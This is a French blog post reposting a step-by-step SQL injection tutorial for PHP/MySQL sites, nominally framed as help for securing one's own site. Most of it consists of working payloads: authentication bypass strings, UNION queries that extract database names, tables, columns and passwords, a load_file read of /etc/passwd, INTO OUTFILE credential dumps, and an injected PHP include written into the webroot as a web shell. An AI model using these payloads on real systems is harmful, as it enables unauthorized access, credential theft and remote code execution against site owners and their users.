vendredi 4 février 2011

L'Injection Sql



Plop !

Ouah, j'ai pas posté depuis un moment, j'avais vraiment pas le temps :/
Je bosse sur plein de trucs, et je serai occuppé jusqu'aux vacances là...

M'enfin, j'prends une tite pause pour partager ici un tuto sur les injections sql glané sur internet!
ça vous servira à rendre votre site plus sûr (faut pas faire le mââââl!!)


=========================================================================


Voici un tutoriel sur l'injection SQL sous MySQL et MS SQL server. Dans ce tuto vous verez toutes la puissance des injections; ma platforme de test : LAMP avec magic_quote à OFF dans une première partie et ensuite magic_quote à ON ;-)
Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application web. On va injecter une requête SQL non prévue par le système et pouvant compromettre sa sécurité, cette requête va permettre dans certain cas d'afficher carrement les mot de passe et les identifiants associées.



Injection de Radar

Grâce a un mauvais filtrage des variables (injection via des variables php dans notre cas mais cela fonctionne tous aussi bien pour de l'asp ou tout autres languages web dynamique), on va pourvoir modifier la requête et afficher ce que l'on veux dans la base de données.
Voici une fonction php qui permet de filter mes variables
addslashes(), qui ajoute des slashes ;-) alors la chaîne ' -- devient \' --.
mysql_real_escape_string(), ajoute un slash aux caractères suivants : NULL \x00\n\r\'" et \x1a.
Une des principales faiblesse des script php codé par des mauvais développeur et d'utiliser addslash() comme unique filtre de variable.
La fonction addslashes() ne suffit pas pour stopper les injections via les variables numériques, qui ne sont pas encadrées d'apostrophes ou de guillemets dans les requètes SQL.
Notez que si la directive PHP magic_quotes_gpc est à on par défaut, et elle appelle addslashes() sur toutes les données GET, POST et COOKIE.

Le mysql_error()

Grâce à la fonction mysql_error() nous essayons de provoquer des erreurs pour que mysql_error() nous indique des infos non souhaité et nous permette de connaitre le nom des tables. Pour que mysql_error() puissent s'afficher il faut que dans le php.ini error_reporting et display_error() soit activé ou que le dev n'est pas mis de @ devant mysql_connect() mysql_select() mysql_query() ...
Passons à la pratique :
Dans un premier temps nous allons tester si les champs a renseigner sont sensible a l'injection et donc si magic_quote est à ON dans php.ini.
Pour provoquer une erreur il suffit de mettre une simple quote ' dans le champ ou un double quotes " . Si un message d'erreur s'affiche  alors les quotes ( ' ou " ) passent sans être bloquées.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'mon_texte' and pass='"mon_pass'' at line 1

La fonction magic_quotes() dans mon php.ini est a OFF; et donc ce qui suit de ma requète sera exécuté ;).
A ce stade il faut bien connaitre la synthaxe sql pour jongler avec les quotes et les expressions pour détourner la requête initial. Voila la requête type que l'on devrait avoir:
$sql="select * from ma_table where login='$login' and password='$pass'"

Pour que la condition soit True il suffit de la comparer a une valeur similaire comme 1=1 ou 'X'='X' qui renvoi obligatoirement true...
$req="select * from ma_table where login='' OR 1=1 and password='' OR 1=1 ";

Ici on selectionne SELECT dans ma_table tous les champs * ou le login est NULL OU 1=1 (condition toujours vrai) ET le password est NULL OU 1=1

Il suffit donc pour cette injection d'insérer pour le login: ' OR 'X'='X et pour le password. La modification de notre requete va ressembler a ça.
$sql="select * from ma_table where login='' OR 'X'='X' and password='' OR 'X'='X'";

Exemples d'expressions qui retourne toujours true:

SELECT * FROM table WHERE 1=1
SELECT * FROM table WHERE 'toto'='toto'
SELECT * FROM table WHERE 1<>2
SELECT * FROM table WHERE 3>2
SELECT * FROM table WHERE 2<3
SELECT * FROM table WHERE 1
SELECT * FROM table WHERE 1+1
SELECT * FROM table WHERE 1--1
SELECT * FROM table WHERE ISNULL(NULL)
SELECT * FROM table WHERE ISNULL(COT(0))
SELECT * FROM table WHERE 1 IS NOT NULL
SELECT * FROM table WHERE NULL IS NULL
SELECT * FROM table WHERE 2 BETWEEN 1 AND 3
SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'
SELECT * FROM table WHERE 2 IN (0,1,2)
SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

Voici un exemple d'utilisation réel :

Mon site pour l'exemple
http://localhost/secu_test/inject.php?id=1
Ici on voit bien que la variable id et passé en GET dans mon url par l'intermédaire de id=1 . Si ma variable était passé en POST cela ne serait pas de problème non plus pour cela un plugin firefox (par exemple UrlParams) permet d'éditer mes variables POST.
Dans un premier temps je test si ma variable est bien filtrée en ajoutant un simple quote comme ceci
http://localhost/secu_test/inject.php?id=1 '
Notez que id est un entier !!! (voir plus haut)
Si j'ai une erreur du style :
You have an error in your SQL Syntax
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
Je peux en conclure que mon site est potentiellement vulnérable noter que si j'ai une parti de la page qui disparaît cela signifie d'autant plus la vulnérabilité importante du site.
Maintenant nous allons faire afficher le nombre de colonnes contenu dans la table: pour cela on peu utiliser la syntaxe sql GROUP BY en fin de requête; de cette manière et en fonction du résultat nous modifierons la requête (blind injection feras l'objet d'un tuto prochainement):
Code:

http://localhost/secu_test/inject.php?id=1?id=1 GROUP BY 1-- Pas erreur
http://localhost/secu_test/inject.php?id=1 GROUP BY 200-- erreur
http://localhost/secu_test/inject.php?id=1 GROUP BY 50-- erreur
http://localhost/secu_test/inject.php?id=1 GROUP BY 10-- pas erreur
http://localhost/secu_test/inject.php?id=1 GROUP BY 11-- erreur
On peu en conclure ici que le nombre de colonnes est 10, erreur à la 11ème.
Grâce a cette info on va pouvoir afficher le nom des colonnes, le nom des bases présentent sur le serveur, la version de la base, les utilisateurs ...

Les Commentaires

Les commentaires ne sont pas toujours nécessaire dans une injection sql, pour php /* mon_code_php */ 
Nous pourrions injecter /* en fin de requête pour la tronquée, ainsi le reste ne serait pas excécuter.
LOGIN: moi'/*
PASS: */OR 'X' = 'X
$req="select * from admin where login='moi'/*' and password='*/OR 'X'='X' ";

Ici on mets le champ PASS en commentaire avec /* */, notons qu'il faut connaître le champ LOGIN ainsi on peu faire afficher les pass correspondant au login de l'admin.
On peu aussi utiliser les caractères échappatoire sql # ou -- pour microso$ SQL Server:
$req="select * from admin where login='admin'#' and password='' ";

Utilisation de la synthaxe UNION

UNION est implémentée en MySQL 4.0.0. L'objectif de la commande UNION de SQL est de combiner ensemble les résultats de deux requêtes. Nous pouvons donc insérer n'importe quel requête à la suite.
Les colonnes listées dans la partie select_expression du SELECT doivent être du même type (int, varchar...). Les noms de colonnes utilisées dans le premier SELECT seront utilisées comme nom de champs pour les résultats retournés.
$sql="select login,pass from admin where login='' UNION SELECT login,pass from admin/*' and pass='$pass' ";
Comme vue précédemment dans l'exemple d'utilisation nous avons réussi a connaître le nombre de champs contenu dans la table. Ici 10 champs on construit la requête en conséquence.
http://localhost/secu_test/inject.php?id=1+UNION+1,2,3,4,5,6,7,8,9,10--
Les chiffres 1,2,3,4,5,6,7,8,9,10 ne sont la que pour figuration j'aurai bien pu mettre 0,0,0,0,0,0 dix fois !!!!
Le résultat devra être un page sans erreur auquel cas la base ne supporte pas le statement UNION.
A ce stade on va ajouter un signe - devant le 1
Comme l'id -1 n'existe pas dans la base, les champs sélectionnés avec l'UNION seront retournés (1,2,3,4,5,6,7,8,9,10), à la place de ces derniers, l'attaquant peut sélectionner des données de n'importe quelle table.
Pour obtenir la version:
-1+UNION+SELECT+1,@@version,3,4,5,6,7,8,9,10--

Ou encore :

-1+UNION+SELECT+1,concat(version()),3,4,5,6,7,8,9,10--
Pour la liste des bases:
http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+group_concat(schema_name),2,3+%20from+information_schema.schemata--
La base qui est utilisé actuellement :
http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+concat(database()),2,3+%20from+information_schema.schemata--
Pour l'utilisateur:
http://localhost/secu_test/inject.php?id=-1+UNION+SELECT+user(),2,3+%20from+information_schema.schemata--
Pour la liste des tables de la bases :
http://localhost/secu_test/inject.php?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--
Pour la liste des champs de ma table je dois convertir le nom de ma table en hexadécimal (pour ce faire utilisez le plugin firefox :hackbar):
pour moi le nom de ma table est testaa ce qui donne en hexa 746573746161 sans oublier le 0x pour informer la base qu'il s 'agit bien de l'hexadecimal.
http://localhost/secu_test/inject.php?id=1 union select 1,column_name,3 from information_schema.columns where table_name=0x746573746161--
Et pour finir maintenant que je connais le nom des champs je peux deviner leur valeur :)
http://localhost/secu_test/inject.php?id=1%20union%20select%201,concat(id,name,pass),3%20from%20testaa--
Pour finir le /etc/password
union select 1,2,3,4,5,6,7,load_file(/etc/passwd),9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(114, 111, 111, 116)--



OUTPUTFILE

Comme son nom l'indique on peu rediriger la sortie standard avec output file + le path.
On peu exporter la liste de résultat du select.
La fonction INTO OUTFILE écrira (par défaut) dans le dossier lib\mysql\nomdelatable le fichier contenant la sortie du select.
(Attention à bien replacer le fichier dans le répertoire www, sans quoi vous ne pourrez le consulter)
Il faut également les droits des fichiers. Exemple:
$sql="select login,pass from admin INTO OUTFILE 'path/file.txt' ";
Imaginons un login contenant
' OR 'X'='X' INTO OUTFILE'../../www/file.txt'#
Ce qui donne comme requète:
$sql="select login,pass from admin where login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt'#' and pass='$pass'";

On a pas le bon pass, mais nous pouvons tout de même aller à la racine du serveur rechercher le notre fichier file.txt et on obtient les pass et logs de connexion. On pourrait aussi pouvoir lire le contenu du code php dans notre ../../www/file.txt imaginez ce que l'on peu faire afficher.
login: ' UNION SELECT "<?php@include($ma_variable);?>","0" from admin INTO OUTFILE'../../www/file.text'/*

Le code php sera enregistré dans file.text, il nous suffira de le consulter et de modifier $ma_variable par ce que vous désirez ;-).


LIMIT magic_quote on

Les magic quotes permettent de faire automatiquement ce que fait la fonction addslashes(), sur les données transmises par l'utilisateur (magic_quotes_gpc) et/ou provenant d'une source externe (magic_quotes_runtime). Lorsque les magic_quotes sont activées, tous les caractères ' (apostrophes), " (guillemets), \ (antislash) et NULL sont donc échappés par un antislash. D'après nos connaissances personnelles en SQL, on sait que $le_debut est la première variable de la clause LIMIT, qui est sous la forme :
$sql="Select * from membre LIMIT $le_debut,$la_fin";

Grace à la clause LIMIT qui ne nécessite aucunes quotes pour délimiter les limites ;)). L'exploitation est exactemenet la mème. $la_fin est souvent calculé suivant le nombre de messages afficher par page ($la_fin=$le_debut+$messagesparpages). Donc pour peu que la variable $le_debut ne soit pas filtrée, on peut faire afficher ce qu'on veut.
Imaginons une requête pour qu'on puisse récupérer le login et le pass.

On ne connait pas le nombre de champs. Donc nous ferons les test habituelles pour découvrir les champs.
Voici la requête avec UNION:
$sql="select * from messages limit 0,100 UNION SELECT login,pass,0,0,0,0,0,0 FROM admin/*,$la_fin";

Pour avoir le login
debut=0,100 UNION SELECT 0,login,pass,0,0,0,0,0 FROM admin /*

A vous de trouver pour le pass ( c'est la même chose ...)
Voila c'est tout pour le moment sur les injections sql mais ce type de faille n'a de limite que votre imagination a vous de faire évoluer le domaine de la sécurité informatique. 

=========================================================================

Intéressant non?

Pis bon, j'vais me remettre à poster, donc restez connectés ;)


Enjoy!

Aucun commentaire:

Enregistrer un commentaire